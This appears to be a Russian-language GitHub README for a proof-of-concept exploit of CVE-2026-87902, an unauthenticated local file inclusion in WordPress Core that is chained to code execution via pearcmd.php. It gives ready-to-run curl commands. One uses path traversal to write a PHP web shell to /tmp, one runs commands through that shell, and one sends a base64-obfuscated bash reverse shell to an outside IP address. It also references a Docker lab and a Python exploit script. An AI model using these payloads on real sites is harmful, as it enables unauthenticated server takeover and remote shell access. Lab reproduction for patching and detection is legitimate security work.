nextco/wordpress-cve-2026-87902Эксплойт proof-of-concept для CVE-2026-87902 — неаутентифицированное LFI в WordPress Core, приводящее к RCE через pearcmd.php, с Docker-лабораторией и скриптами эксплойта на curl/Python.
WordPress Core <= 7.1.1 — неаутентифицированный LFI (загрузчик шаблонов pagename) → RCE через pearcmd.php и peclcmd.php
cd docker && docker compose up -d
curl -s 'http://10.137.137.49:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd&+config-create+/&<?=`$_REQUEST[_]`?>+/tmp/pwn.php'
curl -s 'http://10.137.137.49:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=id'
# Обратная оболочка
curl -s 'http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=echo+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJyAg|base64+-d|sh'
python3 exploit-pear.py
Благодарности: https://github.com/ressl/cve-2026-87902-poc